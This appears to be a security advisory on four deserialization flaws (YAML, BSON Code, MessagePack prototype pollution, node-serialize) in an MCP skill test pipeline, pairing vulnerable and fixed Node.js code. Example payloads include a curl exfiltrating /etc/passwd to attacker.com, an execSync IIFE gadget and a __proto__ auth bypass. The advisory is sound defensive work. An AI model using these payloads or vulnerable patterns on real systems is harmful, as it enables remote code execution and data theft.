Claude MCP skill insecure deserialization — skill test suite execution and coverage reporting pipeline endpoints — SA-SKL-DESER44
SA-SKL-DESER44 documents four insecure deserialization vulnerabilities in MCP skill registry test suite execution and coverage reporting pipeline endpoints. Test pipeline infrastructure processes configuration objects, coverage aggregation functions, test result queues, and aggregation result payloads through multiple serialization layers — Redis, MongoDB BSON, MessagePack, and node-serialize. Each serialization layer has distinct deserialization gadget paths that achieve remote code execution or authentication bypass when attacker-controlled data reaches the deserializer. DESER44 covers all four: YAML !!js/function gadget in Redis-backed test config achieving RCE at test execution time, BSON Code type eval in MongoDB coverage aggregation, MessagePack __proto__ pollution disabling test authentication globally, and node-serialize IIFE gadget in test aggregation results.
yaml.load() DEFAULT_FULL_SCHEMA — !!js/function in testConfig.onTestExecute achieves RCE at every test execution event triggered by skill CI runs; fix: FAILSAFE_SCHEMA; JSON for all test config; Zod TestConfigSchema; named-event dispatch tablecoverageAggregatorFn field triggers eval() during coverage aggregation at every test completion event; fix: reject BSON Code; promoteValues:false; Zod string-only schema; named-aggregator lookup__proto__.skipTestAuth:true pollutes Object.prototype, disabling authentication checks for all subsequent test API requests in process until restart; fix: null-prototype target; Zod strict(); JSON instead of MessagePack_$$ND_FUNC$$_ payloads; sealed config at deploy timeDESER44-001 — YAML yaml.load() DEFAULT_FULL_SCHEMA RCE via !!js/function in test config
Severity: CRITICAL
Test suite configuration objects are stored in Redis as serialized YAML and read back using yaml.load() with the default DEFAULT_FULL_SCHEMA. This schema supports the !!js/function YAML type tag, which deserializes a YAML string directly into a JavaScript function object by calling new Function(). An attacker who can write to the Redis test config key — via a compromised skill publisher account, a Redis SSRF, or a misconfigured test pipeline API — sets testConfig.onTestExecute to a !!js/function payload. When the test execution worker reads and deserializes this config, the function executes as part of the worker process at test execution time, achieving RCE on every horizontally-scaled worker that processes skill CI test runs.
yaml.load() with DEFAULT_FULL_SCHEMA deserializes arbitrary JavaScript functions. The !!js/function tag is enabled by default and executes new Function(body) during deserialization. Use yaml.load(str, {schema: FAILSAFE_SCHEMA}) which only supports strings, booleans, and numbers — no executable types — or switch to JSON for all pipeline configuration.
// Test suite config worker — reads YAML from Redis with DEFAULT_FULL_SCHEMA
const yaml = require('js-yaml');
const redis = require('./redis');
async function loadTestConfig(skillId) {
const raw = await redis.get(`test:config:${skillId}`);
// DEFAULT_FULL_SCHEMA enables !!js/function — RCE on deserialization
return yaml.load(raw);
}
// Attacker stores in Redis:
// testConfig:
// onTestExecute: !!js/function >
// function() { require('child_process').exec('curl attacker.com/$(cat /etc/passwd | base64)') }
async function runTests(skillId) {
const config = await loadTestConfig(skillId);
config.onTestExecute?.(); // executes attacker function
}
// Test suite config worker — FAILSAFE_SCHEMA + Zod validation
const yaml = require('js-yaml');
const { z } = require('zod');
const TestConfigSchema = z.object({
maxParallelTests: z.number().int().positive().max(32).default(4),
timeoutSeconds: z.number().int().positive().max(600).default(60),
onTestExecuteEvent: z.enum(['log', 'notify', 'retry', 'fail_fast']).default('log'),
coverageThreshold: z.number().min(0).max(100).default(80),
});
// named-event dispatch table — no arbitrary function execution
const TEST_EVENTS = {
log: (ctx) => logger.info('test.execute', ctx),
notify: (ctx) => notifier.send('test.execute', ctx),
retry: (ctx) => retryQueue.push(ctx),
fail_fast: (ctx) => { throw new Error(`Test failed: ${ctx.testId}`); },
};
async function loadTestConfig(skillId) {
const raw = await redis.get(`test:config:${skillId}`);
if (!raw) return TestConfigSchema.parse({});
// FAILSAFE_SCHEMA: only strings, booleans, integers — no !!js/function
const parsed = yaml.load(raw, { schema: yaml.FAILSAFE_SCHEMA });
return TestConfigSchema.parse(parsed);
}
async function runTests(skillId) {
const config = await loadTestConfig(skillId);
const handler = TEST_EVENTS[config.onTestExecuteEvent];
handler({ skillId, config }); // safe named dispatch
}
DESER44-002 — BSON Code type eval() during coverage aggregation
Severity: CRITICAL
Coverage reports are stored in MongoDB with the aggregation function serialized as a BSON document. The MongoDB Node.js driver deserializes BSON Code objects by default when promoteValues is true (the default). When the coverage aggregation worker reads a coverage report document and finds the coverageAggregatorFn field containing a BSON Code object, the driver returns a JavaScript Code instance. The worker calls eval(coverageAggregatorFn.code) to execute the aggregation. An attacker who can write to the coverage reports collection — via a compromised skill publisher, a MongoDB injection, or an over-privileged test runner service account — plants a malicious BSON Code payload that executes at every test completion event when coverage is aggregated.
// Coverage aggregation worker — BSON Code type triggers eval()
const { MongoClient, Code } = require('mongodb');
async function aggregateCoverage(skillId, runId) {
const report = await db.collection('coverage_reports').findOne({ skillId, runId });
// promoteValues:true (default) preserves BSON Code objects
// report.coverageAggregatorFn is a Code instance if stored that way
const result = eval(report.coverageAggregatorFn.code); // RCE
return result;
}
// Coverage aggregation worker — promoteValues:false + named aggregator
const client = new MongoClient(MONGO_URI, {
promoteValues: false, // BSON Code stays as raw BSON, not promoted to JS Code
});
const COVERAGE_AGGREGATORS = {
line: (data) => data.lines.covered / data.lines.total,
branch: (data) => data.branches.covered / data.branches.total,
function: (data) => data.functions.covered / data.functions.total,
statement: (data) => data.statements.covered / data.statements.total,
};
const CoverageReportSchema = z.object({
aggregatorType: z.enum(['line', 'branch', 'function', 'statement']),
data: z.object({
lines: z.object({ covered: z.number(), total: z.number() }),
branches: z.object({ covered: z.number(), total: z.number() }),
functions: z.object({ covered: z.number(), total: z.number() }),
statements: z.object({ covered: z.number(), total: z.number() }),
}),
});
async function aggregateCoverage(skillId, runId) {
const rawDoc = await db.collection('coverage_reports').findOne({ skillId, runId });
const report = CoverageReportSchema.parse(rawDoc); // rejects BSON Code — not a string
const aggregator = COVERAGE_AGGREGATORS[report.aggregatorType];
return aggregator(report.data); // safe named dispatch
}
DESER44-003 — MessagePack __proto__ pollution disables test API authentication
Severity: CRITICAL
Test result queue entries are serialized as MessagePack and stored in Redis. When the test result consumer reads and deserializes queue entries, the MessagePack deserializer merges the deserialized object properties into a plain JavaScript object. If the payload contains a key-value pair where the key is __proto__ and the value is {"skipTestAuth": true}, the deserialization merges these properties into Object.prototype. From this point forward, every plain JavaScript object in the process inherits skipTestAuth: true. The test API authentication middleware checks if (req.skipTestAuth) return next() — which now evaluates to true for all requests, bypassing authentication for every subsequent test API call until the process is restarted.
MessagePack deserialization without null-prototype targets enables prototype pollution. Always deserialize untrusted MessagePack data into null-prototype objects (Object.create(null) targets) and validate with Zod strict() which rejects unexpected keys including __proto__. Prefer JSON for all inter-service queue payloads.
// Test result queue consumer — MessagePack __proto__ pollution
const msgpack = require('@msgpack/msgpack');
const redis = require('./redis');
async function consumeTestResult() {
const raw = await redis.lpop('test:results:queue');
// attacker stored: {"__proto__": {"skipTestAuth": true}, "testId": "...", ...}
const result = msgpack.decode(Buffer.from(raw, 'base64'));
// Object.prototype.skipTestAuth is now true for entire process
await processTestResult(result);
}
// In auth middleware:
function requireTestAuth(req, res, next) {
if (req.skipTestAuth) return next(); // bypassed after pollution
if (!req.session?.userId) return res.status(401).json({ error: 'Unauthorized' });
next();
}
// Test result queue consumer — null-prototype + Zod strict()
const { z } = require('zod');
const TestResultSchema = z.object({
testId: z.string().uuid(),
skillId: z.string().regex(/^[a-f\d]{24}$/),
runId: z.string().uuid(),
passed: z.boolean(),
durationMs: z.number().int().nonnegative(),
coveragePct: z.number().min(0).max(100).optional(),
}).strict(); // rejects __proto__ and any unexpected keys
async function consumeTestResult() {
const raw = await redis.lpop('test:results:queue');
if (!raw) return;
// parse as JSON instead of MessagePack — no prototype chain manipulation
const untrusted = JSON.parse(raw);
// validate into clean schema — Zod strict() rejects __proto__
const result = TestResultSchema.parse(untrusted);
await processTestResult(result);
}
DESER44-004 — node-serialize IIFE gadget achieves RCE at test aggregation time
Severity: CRITICAL
Test aggregation result payloads are deserialized using node-serialize. The node-serialize library supports serializing JavaScript functions into strings with the _$$ND_FUNC$$_ marker prefix. During deserialization, any value matching this marker is reconstructed using eval(). An attacker who can write to the test aggregation results storage — by submitting a crafted test payload through the authenticated test consumer API — plants a function string wrapped in an immediately-invoked function expression (IIFE): _$$ND_FUNC$$_function(){ /* payload */ }(). When the aggregation worker reads and deserializes this result, the IIFE executes immediately during deserialization, achieving RCE under the aggregation worker's service account credentials.
node-serialize is not safe for untrusted data. The _$$ND_FUNC$$_ gadget is a well-known RCE vector documented in CVE-2017-5941. Never use node-serialize for any data that crosses a trust boundary. Replace with JSON.parse() and schema validation on all inter-service payload reads.
// Test aggregation worker — node-serialize IIFE gadget
const serialize = require('node-serialize');
async function loadAggregationResult(skillId, runId) {
const raw = await redis.get(`test:aggregation:${skillId}:${runId}`);
// attacker stored: {"summary": "_$$ND_FUNC$$_function(){require('child_process').execSync('id > /tmp/pwned')}()"}
return serialize.unserialize(raw); // IIFE executes during deserialization
}
// Test aggregation worker — JSON.parse + Zod + _$$ND_FUNC$$_ detection
const { z } = require('zod');
const AggregationResultSchema = z.object({
skillId: z.string().regex(/^[a-f\d]{24}$/),
runId: z.string().uuid(),
totalTests: z.number().int().nonnegative(),
passed: z.number().int().nonnegative(),
failed: z.number().int().nonnegative(),
coveragePct: z.number().min(0).max(100),
durationMs: z.number().int().nonnegative(),
}).strict();
function detectNodeSerializeGadget(raw) {
if (raw.includes('_$$ND_FUNC$$_')) {
throw new Error('node-serialize gadget detected in aggregation payload');
}
}
async function loadAggregationResult(skillId, runId) {
const raw = await redis.get(`test:aggregation:${skillId}:${runId}`);
if (!raw) return null;
detectNodeSerializeGadget(raw); // reject before any parsing
const parsed = JSON.parse(raw); // safe parse
return AggregationResultSchema.parse(parsed); // validate structure
}
All four SA-SKL-DESER44 vulnerabilities reflect a consistent pattern of unsafe deserialization in test pipeline infrastructure where configuration and result objects cross trust boundaries through multiple serialization layers. SkillAudit detects DESER44-001 by flagging yaml.load() calls without explicit FAILSAFE_SCHEMA; DESER44-002 by detecting MongoDB connections without promoteValues:false and document fields used in eval() calls; DESER44-003 by detecting MessagePack deserialization without null-prototype object targets; and DESER44-004 by flagging node-serialize.unserialize() usage on any data path. See also SA-SKL-DESER43 on dependency resolution and package lock pipeline endpoints for the companion chain targeting package management deserialization paths.